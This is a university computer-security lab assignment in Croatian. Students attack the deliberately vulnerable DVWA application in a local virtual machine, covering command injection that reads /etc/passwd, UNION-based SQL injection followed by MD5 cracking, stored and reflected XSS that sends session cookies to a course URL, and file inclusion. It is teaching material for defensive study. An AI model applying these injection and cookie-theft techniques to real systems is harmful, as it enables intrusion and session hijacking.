SIGURNOST RAČUNALNIH SUSTAVA, ak.god. 2021./2022.

Treća laboratorijska vježba: Ranjivosti web aplikacija

Preuzmite virtualni stroj i instalirajte ga korištenjem alata Virtualbox.

Važno: morate ispravno podesiti mrežne postavke kako bi se mogli spojiti na virtualni stroj. Obično sve radi standardno, no ako se ne možete spojiti na stroj putem mreže pokušajte promijeniti vrstu mrežnog adaptera virtualnog stroja (bridged ili NAT bi trebali raditi u svakom slučaju). Uz to, da bi mrežni adapter radio morate biti spojeni na Internet na matičnom računalu!

Logirajte se u virtualni stroj i provjerite dodijeljene IP adrese:

```
$ ip addr
...
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
    inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic noprefixroute
enp0s3
...
3: enp0s8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
    inet 10.19.0.136/24 brd 10.19.0.255 scope global dynamic noprefixroute
enp0s8
...
4: enp0s9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
    inet 192.168.56.101/24 brd 192.168.56.255 scope global dynamic
noprefixroute enp0s9
```

te kao root pokrenite instaliranu docker instancu ranjivog web poslužitelja:

```
$ sudo docker run --rm -it -p 80:80 vulnerables/web-dvwa
```

U prikazanom ispisu je NAT sučelju dodijeljena adresa 10.0.2.15, "bridged" sučelju adresa 10.19.0.136, a "host- only" sučelju adresa 192.168.56.101.

U ovoj vježbi se spajate sa svog (glavnog) računala na ranjivi web poslužitelj na "bridged" ili "host-ony" adresi:

```
http://_vanjska_adresa_/
```

Kliknite na gumb pri dnu stranice: `Create / Reset Database` te ponovo otvorite istu stranicu na kojoj se sad traži upis korisničkog imena i lozinke.

```
http://_vanjska_adresa_/
```

Podaci za login su:

```
u: admin
p: password
```

U vježbi ćete proučavati ranjivosti web aplikacija (Commmand Execution, SQL injection, XSS i File inclusion). Cilj je iskoristiti ranjivosti kako biste ubuduće znali testirati i zaštiti web aplikaciju. Važno: DVWA ima mogućnost podešavanja težine zadataka, koju definirate u izborniku "DVWA Security". Za potrebe ove vježbe uvijek odaberite postavku "Low".

NAPOMENA: Prilikom izvođenja vježbe slobodno koristite opcije koje se kriju iza gumba `View Source` i `View Help` u donjem lijevom kutu pojedinih prozora.

1) Izvođenje naredbi (Command Injection)

- Otvorite prozor `Command Injection`
- Isprobajte naredbu: `1 | echo srs`
- Ako se ispod forme ispisalo `srs`, nastavite - ako nije, provjerite je li u izborniku `DVWA Security` postavljena razina `low`.
- Nadalje, možete upisati bilo koju naredbu nakon početnih `1 |`. Višestruke naredbe odvajate znakom `&`. Primjeri: `1 | ls`, `1 | pwd & whoami & ps`…
- Potrebno je ispisati sadržaj datoteke `/etc/passwd` i priložiti ga u rješenju zadatka uz opisani postupak i korištene naredbe.

2) Napadi SQL umetanjem (SQL injection)

- Otvorite prozor `SQL Injection`.
- Isprobajte osnovne primjere prema predavanjima iz predmeta.
- Cilj je dohvatiti sažetak lozinke korisnika Pablo Picasso. Kako bi došli do sažetka trebate poznavati strukturu i naziv tablice u kojoj su pohranjeni korisnički podaci. Iako je do toga moguće doći upisivanjem niza SQL naredbi u formu pod `SQL injection`, zbog jednostavnosti možete pogledati kako tablica izgleda izravno u bazi podataka:

```
mysql> show columns from users;
+------------+-------------+------+-----+---------+-------+
| Field      | Type        | Null | Key | Default | Extra |
+------------+-------------+------+-----+---------+-------+
| user_id    | int(6)      | NO   | PRI | 0       |       |
| first_name | varchar(15) | YES  |     | NULL    |       |
| last_name  | varchar(15) | YES  |     | NULL    |       |
| user       | varchar(15) | YES  |     | NULL    |       |
| password   | varchar(32) | YES  |     | NULL    |       |
| avatar     | varchar(70) | YES  |     | NULL    |       |
+------------+-------------+------+-----+---------+-------+
```

- Jednom kada otkrijete sažetak lozinke, morate doći i do običnog teksta iz kojeg je napravljen taj sažetak. To možete napraviti na više načina. Jedan od načina je korištenjem dostupnih mrežnih alata, kao što je crackstation.net (Hint: za kreiranje sažetaka korišten je algoritam MD5). Alternativa mrežnim alatima je korištenje lokalnog alata John the Ripper. Za slučaj korištenja alata John the Ripper, sažetak lozinke dohvaćen napadom "SQL injection" spremite u datoteku na virtualnom stroju. Primjer za lozinku `admin`:

```
$ echo "21232f297a57a5a743894a0e4a801fc3" > hashes.txt
```

Sažetak lozinke je izračunat s algoritmom MD5.

Otkrivanje lozinke se može izvesti pomoću alata john, tj. njegove potpune verzije zvane "Jumbo version of John the Ripper".

Otkrivanje lozinke:

```
$ cd ~srs/srs-lab/Lab3
$ john/run/john --format=raw-md5 _put_do_/hashes.txt
```

- Potrebno je navesti sve naredbe koje ste umetali i opisati cijeli postupak. Konačno rješenje zadatka je lozinka korisnika Pablo Picasso. (Hint: u upitima koristite ključnu riječ `UNION`)

3) XSS (Cross Site Scripting)

- Otvorite prozor `XSS Stored`. Ovdje je omogućen unos skripti u dijelu `Message` koje se potom pohranjuju u bazu podataka, tj. u tablicu `guestbook`.

- Isprobajte unijeti jednostavn javascript kod - ponovnim učitavanjem stranice skripta bi se automatski trebala izvršiti (npr. javascript naredba `alert()`).

- Potrebno je pročitati kolačiće korisnika koji pregledava stranicu s pomoću javascript naredbe `alert()`. Vrijednost varijable `PHPSESSID` navedite u izvještaju u jednoj liniji sljedećeg oblika:

```
PHPSESSID=f04m0i20nek10volimtep6e9irji5
```

- Sve kolačiće je potrebno s pomoću `GET` zahtjeva predati kao parametar na `http://public.tel.fer.hr/srs`. (npr. `http://public.tel.fer.hr/srs?cookie=security=low;%20PHPSESSID=f04m0i20nek10volimtep6e9irji5`)

  Opišite cijeli postupak i priložite korištene skripte. HINT: polje za unos ima ograničenje broja znakova u kodu HTML - možete li to zaobići?

- U nastavku zadatka, pokušajte napraviti isti rezultat korištenjem napada XSS (Reflected). U izvještaju vježbe opišite i ovaj napad i obavezno navedite konačni URL kojim se krade kolačić odnosno identifikator sjednice.

4) Inkluzija datoteka (File inclusion)

- Otvorite prozor File Inclusion i pratite upute (moguće je mijenjati HTTP `GET` parametar `page`)
- Ispišite datoteku `/etc/passwd`, priložite sliku ekrana s ispisanom datotekom i objasnite zašto je to moguće izvesti.
- Kako biste zaštitili navedenu aplikaciju od ovakve vrste napada?

Rezultati laboratorijske vježbe

Kao rezultat laboratorijske vježbe, kroz sustav Ferko **trebate predati izvještaj** o laboratorijskoj vježbi u txt formatu (najviše **1500 riječi**) koji sadrži postupak rješavanja zadatka i odgovore na pitanja